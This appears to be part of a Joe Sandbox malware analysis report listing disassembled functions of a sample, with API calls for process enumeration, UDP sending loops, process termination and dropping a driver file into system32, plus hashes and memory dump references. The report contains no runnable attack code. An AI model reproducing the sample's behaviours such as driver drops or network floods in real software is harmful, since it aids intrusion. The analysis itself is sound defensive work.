                                                            • Associated: 00000000.00000002.3818884775.0000000002A48000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A4B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A50000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_29d0000_a4#Uff09.jbxd
                                                            Yara matches
                                                            Similarity
                                                            • API ID: Sleep$CharProcess32Uppertolower$CloseCreateFirstHandleNextSnapshotToolhelp32
                                                            • String ID:
                                                            • API String ID: 4243119484-0
                                                            • Opcode ID: 5a5c36ba8340c7d42f994057a801040a01471f4d8b441a6b66d806e6280c273a
                                                            • Instruction ID: 912a8876d2f5d974b861f978313503ff916f2b2b8572204de47b723dfaa7af3a
                                                            • Opcode Fuzzy Hash: 5a5c36ba8340c7d42f994057a801040a01471f4d8b441a6b66d806e6280c273a
                                                            • Instruction Fuzzy Hash: CE517DB1D002288BDF24EB60CD49BEAB775BB54304F0585D8DA09A7240DBB4AF85DF91
                                                            Function 029DD928 Relevance: 13.7, APIs: 8, Strings: 1, Instructions: 174stringCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                              • Part of subcall function 029D13E8: InterlockedExchange.KERNEL32(029E40B8,?), ref: 029D1406
                                                            • lstrcat.KERNEL32(?,02A53DEC), ref: 029DD9ED
                                                            • lstrcpy.KERNEL32(00000000,00000000), ref: 029DDABE
                                                            • lstrcat.KERNEL32(00000000,02A55708), ref: 029DDB20
                                                            • lstrcat.KERNEL32(00000000,02A5570C), ref: 029DDB32
                                                            • lstrcat.KERNEL32(00000000,02A55710), ref: 029DDB5B
                                                            • lstrlen.KERNEL32(00000000,%s,029DE3E7,?,?,?,?,?,?), ref: 029DDB71
                                                              • Part of subcall function 029DD7CF: lstrlen.KERNEL32(00000000), ref: 029DD7E8
                                                              • Part of subcall function 029DD7CF: lstrcat.KERNEL32(00000000,02A556EC), ref: 029DD816
                                                              • Part of subcall function 029DD7CF: lstrcat.KERNEL32(00000000,02A556F0), ref: 029DD83C
                                                              • Part of subcall function 029DD7CF: lstrcat.KERNEL32(00000000,02A556F4), ref: 029DD84B
                                                              • Part of subcall function 029DD7CF: lstrlen.KERNEL32(00000000), ref: 029DD8A6
                                                              • Part of subcall function 029DD7CF: lstrcat.KERNEL32(00000000,02A556F8), ref: 029DD8DA
                                                              • Part of subcall function 029DD7CF: lstrcat.KERNEL32(00000000,02A556FC), ref: 029DD900
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.3818884775.00000000029D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 029D0000, based on PE: true
                                                            • Associated: 00000000.00000002.3818884775.0000000002A45000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A48000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A4B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A50000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_29d0000_a4#Uff09.jbxd
                                                            Yara matches
                                                            Similarity
                                                            • API ID: lstrcat$lstrlen$ExchangeInterlockedlstrcpy
                                                            • String ID: %s
                                                            • API String ID: 3361872186-3043279178
                                                            • Opcode ID: 88a0f58abbc9de06819d1923f973eb78b168d170915112f6159690d8f693e8de
                                                            • Instruction ID: 16bfc9a81b282765427fb1ddd6e7b80f1cfb455ba21ee84b634a31ee01cdb212
                                                            • Opcode Fuzzy Hash: 88a0f58abbc9de06819d1923f973eb78b168d170915112f6159690d8f693e8de
                                                            • Instruction Fuzzy Hash: 1461A6B7E402189BDB14DFA4D8457EE77B6AF8C300F10C9A8E509D6280DB38DA55DFA1
                                                            Function 0047903D Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 100fileCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • GetModuleFileNameA.KERNEL32(00000000,?,00000104,00000000), ref: 004790AA
                                                            • GetStdHandle.KERNEL32(000000F4,00B758FC,00000000,00000000,00000000,00000000), ref: 00479180
                                                            • WriteFile.KERNEL32(00000000), ref: 00479187
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.3735613654.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                            • Associated: 00000000.00000002.3733928280.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.00000000008D0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000AEB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000AF9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000B07000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000B92000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000B9F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000BB2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000BB6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3779821674.0000000000BD4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3779821674.0000000000BD8000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3782061445.0000000000BD9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3782061445.0000000000BDC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3784320260.0000000000BE9000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_400000_a4#Uff09.jbxd
                                                            Yara matches
                                                            Similarity
                                                            • API ID: File$HandleModuleNameWrite
                                                            • String ID: ...$<program name unknown>$Microsoft Visual C++ Runtime Library$Runtime Error!Program:
                                                            • API String ID: 3784150691-4022980321
                                                            • Opcode ID: 1aa9df2c2607241c4de5a3e7cea677a8d6871c3ec6480993c625ccbd3041d0aa
                                                            • Instruction ID: 50345ee8819a03bc44c1d35838ebf928376a620b4379c8d45317adfff8cb88c0
                                                            • Opcode Fuzzy Hash: 1aa9df2c2607241c4de5a3e7cea677a8d6871c3ec6480993c625ccbd3041d0aa
                                                            • Instruction Fuzzy Hash: C331EA72A00208AFDF20AB60CC46FDE33ACEB81754F9084ABF65CD6151E7789D548B59
                                                            Function 029D5020 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 66processCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • CreateToolhelp32Snapshot.KERNEL32(00000008,?), ref: 029D506C
                                                            • Module32First.KERNEL32(?,00000224), ref: 029D508F
                                                            • CharUpperA.USER32(?,00000008,?,?), ref: 029D50A8
                                                              • Part of subcall function 029D42C7: tolower.MSVCRT ref: 029D431E
                                                              • Part of subcall function 029D42C7: tolower.MSVCRT ref: 029D4330
                                                            • Module32Next.KERNEL32(?,00000224), ref: 029D50F8
                                                            • CloseHandle.KERNEL32(?,00000008,?,?), ref: 029D5108
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.3818884775.00000000029D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 029D0000, based on PE: true
                                                            • Associated: 00000000.00000002.3818884775.0000000002A45000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A48000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A4B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A50000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_29d0000_a4#Uff09.jbxd
                                                            Yara matches
                                                            Similarity
                                                            • API ID: Module32tolower$CharCloseCreateFirstHandleNextSnapshotToolhelp32Upper
                                                            • String ID: DWEBIO$DWEBLLIO
                                                            • API String ID: 86103281-3981995823
                                                            • Opcode ID: 2e6a7dac221f3373523dd8c9e129ca95ef20b0808f3d438701376616b8624969
                                                            • Instruction ID: 5d701ea29bf19566d7e227b94f668398ecda9dbd5d0307f201b2cdf3b94870ab
                                                            • Opcode Fuzzy Hash: 2e6a7dac221f3373523dd8c9e129ca95ef20b0808f3d438701376616b8624969
                                                            • Instruction Fuzzy Hash: 19215471900219ABDF20DBA4DD58BAAB7B9AF4C300F9085D5D60DA2240DF75DA84DF91
                                                            Function 029D3536 Relevance: 12.2, APIs: 8, Instructions: 250networkthreadCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • InterlockedExchange.KERNEL32(02A48658,00000000), ref: 029D35FE
                                                            • htons.WS2_32(?), ref: 029D36E4
                                                              • Part of subcall function 029D2FA0: socket.WS2_32(00000002,00000002,00000011), ref: 029D3008
                                                              • Part of subcall function 029D2FA0: sendto.WS2_32(?,?,00000000,00000000,?,00000010), ref: 029D3072
                                                              • Part of subcall function 029D2FA0: select.WS2_32(?,00000000,00000000,00000000,0000000F), ref: 029D314A
                                                            • sendto.WS2_32(?,?,00000000,00000000,?,00000010), ref: 029D3773
                                                            • htons.WS2_32(?), ref: 029D3793
                                                            • sendto.WS2_32(?,?,00000000,00000000,?,00000010), ref: 029D3803
                                                            • sendto.WS2_32(?,?,00000000,00000000,?,00000010), ref: 029D38AF
                                                            • sendto.WS2_32(?,?,00000000,00000000,?,00000010), ref: 029D38FB
                                                              • Part of subcall function 029D2399: RtlEnterCriticalSection.NTDLL(029E4050), ref: 029D2410
                                                              • Part of subcall function 029D2399: RtlLeaveCriticalSection.NTDLL(029E4050), ref: 029D2724
                                                            • RtlExitUserThread.NTDLL(00000000), ref: 029D3903
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.3818884775.00000000029D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 029D0000, based on PE: true
                                                            • Associated: 00000000.00000002.3818884775.0000000002A45000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A48000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A4B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A50000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_29d0000_a4#Uff09.jbxd
                                                            Yara matches
                                                            Similarity
                                                            • API ID: sendto$CriticalSectionhtons$EnterExchangeExitInterlockedLeaveThreadUserselectsocket
                                                            • String ID:
                                                            • API String ID: 3382933480-0
                                                            • Opcode ID: 6e29498ed44e5d79d173fd7ca72a96728be880587100dd43a867d1549d02be51
                                                            • Instruction ID: fe57bdd75d91dea980b48318e18b116c203ccfc4b3db5cc21094b527eb0aa74c
                                                            • Opcode Fuzzy Hash: 6e29498ed44e5d79d173fd7ca72a96728be880587100dd43a867d1549d02be51
                                                            • Instruction Fuzzy Hash: 3AA1A471D082A89ADF20CB60CC91BEAB779AF44700F5085DAF6CDA6180DBF15AC8DF51
                                                            Function 029DDA22 Relevance: 12.1, APIs: 7, Strings: 1, Instructions: 95stringCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                              • Part of subcall function 029D13E8: InterlockedExchange.KERNEL32(029E40B8,?), ref: 029D1406
                                                            • lstrcpy.KERNEL32(00000000,00000000), ref: 029DDABE
                                                            • lstrcat.KERNEL32(00000000,02A55708), ref: 029DDB20
                                                            • lstrcat.KERNEL32(00000000,02A5570C), ref: 029DDB32
                                                            • lstrcat.KERNEL32(00000000,02A55710), ref: 029DDB5B
                                                            • lstrlen.KERNEL32(00000000,%s,029DE3E7,?,?,?,?,?,?), ref: 029DDB71
                                                            • wsprintfA.USER32 ref: 029DDB7F
                                                            • lstrcat.KERNEL32(?,00000000), ref: 029DDB93
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.3818884775.00000000029D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 029D0000, based on PE: true
                                                            • Associated: 00000000.00000002.3818884775.0000000002A45000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A48000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A4B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A50000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_29d0000_a4#Uff09.jbxd
                                                            Yara matches
                                                            Similarity
                                                            • API ID: lstrcat$ExchangeInterlockedlstrcpylstrlenwsprintf
                                                            • String ID: %s
                                                            • API String ID: 3923932729-3043279178
                                                            • Opcode ID: 9460fc0ca068c97cc443462a7ecff1cc5e10d19cb44a8de191e1fbb8118007f6
                                                            • Instruction ID: 7d2ec4ca7317f64090460b8aa368fa5d63415d785c78cdace51a958b67a6d969
                                                            • Opcode Fuzzy Hash: 9460fc0ca068c97cc443462a7ecff1cc5e10d19cb44a8de191e1fbb8118007f6
                                                            • Instruction Fuzzy Hash: F631D6B7D402289BDB24DBA4CC85BED7376BF8C300F40C9A8E509D6180DB349655DF60
                                                            Function 029D5B02 Relevance: 12.1, APIs: 8, Instructions: 74stringCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                              • Part of subcall function 029D42C7: tolower.MSVCRT ref: 029D431E
                                                              • Part of subcall function 029D42C7: tolower.MSVCRT ref: 029D4330
                                                            • GetTickCount.KERNEL32 ref: 029D5B71
                                                            • lstrlen.KERNEL32(029DB8F8,02A5400C,00000000,?,?,?,?,029DB8F8,00000000), ref: 029D5B83
                                                            • wsprintfA.USER32 ref: 029D5B8F
                                                            • GetTickCount.KERNEL32 ref: 029D5B50
                                                              • Part of subcall function 029D13E8: InterlockedExchange.KERNEL32(029E40B8,?), ref: 029D1406
                                                            • GetTickCount.KERNEL32 ref: 029D5B9A
                                                            • GetTickCount.KERNEL32 ref: 029D5BBB
                                                            • lstrlen.KERNEL32(029DB8F8,02A54004,00000000,?,?,?,?,029DB8F8,00000000), ref: 029D5BCD
                                                            • wsprintfA.USER32 ref: 029D5BD9
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.3818884775.00000000029D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 029D0000, based on PE: true
                                                            • Associated: 00000000.00000002.3818884775.0000000002A45000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A48000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A4B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A50000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_29d0000_a4#Uff09.jbxd
                                                            Yara matches
                                                            Similarity
                                                            • API ID: CountTick$lstrlentolowerwsprintf$ExchangeInterlocked
                                                            • String ID:
                                                            • API String ID: 400381017-0
                                                            • Opcode ID: f72b1707ee8e98c5108a2b9a1c88522ac122a90b3eaa77227f33ddbd583d7b1b
                                                            • Instruction ID: 20a0ba2886c44bde479556c2c3f184df59a0ca35459752c21ea357b8bed12f8d
                                                            • Opcode Fuzzy Hash: f72b1707ee8e98c5108a2b9a1c88522ac122a90b3eaa77227f33ddbd583d7b1b
                                                            • Instruction Fuzzy Hash: 3F2163B6E402106BDB149BA5DC49F6B775DBF88341B04C928FD0AC7340DE39D9258FA1
                                                            Function 029D5BE5 Relevance: 12.1, APIs: 8, Instructions: 72stringCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • GetTempPathA.KERNEL32(00000080,?,?), ref: 029D5C17
                                                            • lstrlen.KERNEL32(?), ref: 029D5C21
                                                            • lstrcat.KERNEL32(?,02A555F4), ref: 029D5C3D
                                                            • lstrcpy.KERNEL32(00000000,00000000), ref: 029D5C5A
                                                            • lstrlen.KERNEL32(?,02A541D4,00000000), ref: 029D5C88
                                                            • wsprintfA.USER32 ref: 029D5C94
                                                            • lstrlen.KERNEL32(?,02A541E0,00000000), ref: 029D5CB1
                                                            • wsprintfA.USER32 ref: 029D5CBD
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.3818884775.00000000029D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 029D0000, based on PE: true
                                                            • Associated: 00000000.00000002.3818884775.0000000002A45000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A48000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A4B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A50000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_29d0000_a4#Uff09.jbxd
                                                            Yara matches
                                                            Similarity
                                                            • API ID: lstrlen$wsprintf$PathTemplstrcatlstrcpy
                                                            • String ID:
                                                            • API String ID: 2776683041-0
                                                            • Opcode ID: 0e4c3d45a8d0ac30e4eb605c3f927cda76f18ff9d5499ef5d77f4adcb5e7bd43
                                                            • Instruction ID: 6c4a0886f123c30dcae635c889243ea10c4b938f88eb61b793acae0c44af1072
                                                            • Opcode Fuzzy Hash: 0e4c3d45a8d0ac30e4eb605c3f927cda76f18ff9d5499ef5d77f4adcb5e7bd43
                                                            • Instruction Fuzzy Hash: 012195B5A00214AFD704CB68DD88FEB7779BF98304F008954FA0A87240DE74DA99CF91
                                                            Function 029D2CFA Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 158networkCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • socket.WS2_32(00000002,00000002,00000011), ref: 029D2D58
                                                            • sendto.WS2_32(?,?,00000000,00000000,?,00000010), ref: 029D2DB6
                                                            • select.WS2_32(?,00000000,00000000,00000000,00000014), ref: 029D2E8E
                                                            • recvfrom.WS2_32(?,?,00001000,00000000,?,00000010), ref: 029D2EBD
                                                            • closesocket.WS2_32(?), ref: 029D2F8A
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.3818884775.00000000029D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 029D0000, based on PE: true
                                                            • Associated: 00000000.00000002.3818884775.0000000002A45000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A48000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A4B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A50000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_29d0000_a4#Uff09.jbxd
                                                            Yara matches
                                                            Similarity
                                                            • API ID: closesocketrecvfromselectsendtosocket
                                                            • String ID: @
                                                            • API String ID: 4198204009-2766056989
                                                            • Opcode ID: c80b543a525326b09486a8e60092686d6fe3577600d800e1caa8c4a07a8e9de0
                                                            • Instruction ID: f8f0d204e1cab813563aa573676d6c5616c0091c2561e60ab24913109e6cc853
                                                            • Opcode Fuzzy Hash: c80b543a525326b09486a8e60092686d6fe3577600d800e1caa8c4a07a8e9de0
                                                            • Instruction Fuzzy Hash: 42619B75D042699BEB38CB24CC54BE9B779BF48340F1085E9E69DA7180DBB06AC8DF50
                                                            Function 029D32DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 141networkCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • socket.WS2_32(00000002,00000002,00000011), ref: 029D3339
                                                            • sendto.WS2_32(?,?,00000000,00000000,?,00000010), ref: 029D338A
                                                            • select.WS2_32(?,00000000,00000000,00000000,0000001E), ref: 029D3462
                                                            • recvfrom.WS2_32(?,?,00001000,00000000,?,00000010), ref: 029D3491
                                                            • closesocket.WS2_32(000000FF), ref: 029D3521
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.3818884775.00000000029D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 029D0000, based on PE: true
                                                            • Associated: 00000000.00000002.3818884775.0000000002A45000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A48000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A4B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A50000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_29d0000_a4#Uff09.jbxd
                                                            Yara matches
                                                            Similarity
                                                            • API ID: closesocketrecvfromselectsendtosocket
                                                            • String ID: @
                                                            • API String ID: 4198204009-2766056989
                                                            • Opcode ID: 928ff3332dbd43a7e56d5df3c8f1392d422bbe5b9715bcde183161e1a8f8a761
                                                            • Instruction ID: 447cac8b21a9c8860134fb94847f185ff8eaa0798ae77743e2c0d5ec0c8b1ba2
                                                            • Opcode Fuzzy Hash: 928ff3332dbd43a7e56d5df3c8f1392d422bbe5b9715bcde183161e1a8f8a761
                                                            • Instruction Fuzzy Hash: BE516A74D042689BEB28CB14CC94BE9B775AF49301F5081D9E78DA7280DBB0AEC5DF46
                                                            Function 029DD7CF Relevance: 10.1, APIs: 8, Instructions: 105stringCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • lstrlen.KERNEL32(00000000), ref: 029DD7E8
                                                              • Part of subcall function 029D13E8: InterlockedExchange.KERNEL32(029E40B8,?), ref: 029D1406
                                                            • lstrcat.KERNEL32(00000000,02A556EC), ref: 029DD816
                                                            • lstrcat.KERNEL32(00000000,02A556F0), ref: 029DD83C
                                                            • lstrcat.KERNEL32(00000000,02A556F4), ref: 029DD84B
                                                            • lstrlen.KERNEL32(00000000), ref: 029DD8A6
                                                            • lstrcat.KERNEL32(00000000,02A556F8), ref: 029DD8DA
                                                            • lstrcat.KERNEL32(00000000,02A556FC), ref: 029DD900
                                                            • lstrcat.KERNEL32(00000000,02A55700), ref: 029DD91D
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.3818884775.00000000029D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 029D0000, based on PE: true
                                                            • Associated: 00000000.00000002.3818884775.0000000002A45000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A48000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A4B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A50000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_29d0000_a4#Uff09.jbxd
                                                            Yara matches
                                                            Similarity
                                                            • API ID: lstrcat$lstrlen$ExchangeInterlocked
                                                            • String ID:
                                                            • API String ID: 3054446656-0
                                                            • Opcode ID: 6fadb72afefbc73535c9f0f7859b60a64fe416e3bb4b1840c2e63492b8287fa9
                                                            • Instruction ID: 75c334b1e18de1ed5d86711da94733f5d2742764418d2aedcc431755c8fca3cf
                                                            • Opcode Fuzzy Hash: 6fadb72afefbc73535c9f0f7859b60a64fe416e3bb4b1840c2e63492b8287fa9
                                                            • Instruction Fuzzy Hash: 5231C4B7F50214ABDB149FE4C889BAE7B66BF88700F14C934F406D6684CA38D5549FA1
                                                            Function 029D4F99 Relevance: 9.0, APIs: 6, Instructions: 47fileCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • CreateFileA.KERNEL32(02A54034,40000000,00000000,00000000,00000003,00000000,00000000,?,029D5353), ref: 029D4FBB
                                                            • OpenProcess.KERNEL32(001F0FFF,00000000,000000FF), ref: 029D4FD5
                                                            • TerminateProcess.KERNEL32(00000000,00000000), ref: 029D4FEA
                                                            • CloseHandle.KERNEL32(00000000), ref: 029D4FF4
                                                            • WriteFile.KERNEL32(000000FF,000000FF,00000004,00000000,00000000), ref: 029D500C
                                                            • CloseHandle.KERNEL32(000000FF), ref: 029D5016
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.3818884775.00000000029D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 029D0000, based on PE: true
                                                            • Associated: 00000000.00000002.3818884775.0000000002A45000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A48000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A4B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A50000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_29d0000_a4#Uff09.jbxd
                                                            Yara matches
                                                            Similarity
                                                            • API ID: CloseFileHandleProcess$CreateOpenTerminateWrite
                                                            • String ID:
                                                            • API String ID: 2603052737-0
                                                            • Opcode ID: 23082f2e0998613fa456e89163dff9db82714776a84afead72c156b13a73b544
                                                            • Instruction ID: a3f946807ff1dcab6975812a05eff0c1cd3317847c07f9a0d0d3000d259c59cf
                                                            • Opcode Fuzzy Hash: 23082f2e0998613fa456e89163dff9db82714776a84afead72c156b13a73b544
                                                            • Instruction Fuzzy Hash: 5D012975E80318FBDB10DBA4DC49F9E7B78BB48701F108A44F611AA2C0DBB4A659CB94
                                                            Function 029D4595 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 32fileCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • DeleteFileA.KERNEL32(C:\Windows\system32\drivers\jrkpjn.sys), ref: 029D45A7
                                                            • CreateFileA.KERNEL32(C:\Windows\system32\drivers\jrkpjn.sys,40000000,00000002,00000000,00000002,00000020,00000000), ref: 029D45C1
                                                            • WriteFile.KERNEL32(000000FF,02A525F4,00001425,00000000,00000000), ref: 029D45E6
                                                            • CloseHandle.KERNEL32(000000FF), ref: 029D45F0
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.3818884775.00000000029D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 029D0000, based on PE: true
                                                            • Associated: 00000000.00000002.3818884775.0000000002A45000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A48000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A4B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A50000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_29d0000_a4#Uff09.jbxd
                                                            Yara matches
                                                            Similarity
                                                            • API ID: File$CloseCreateDeleteHandleWrite
                                                            • String ID: C:\Windows\system32\drivers\jrkpjn.sys
                                                            • API String ID: 656945655-2277722238
                                                            • Opcode ID: 04efdccb2cb166fea60307a6dda68c966b068ea2f006f8adcef2331092c4b351
                                                            • Instruction ID: 43b7787b78c6038dafb8ac5f9c6916d46a551a0f9e9c218ccdaceb1da31fc20a
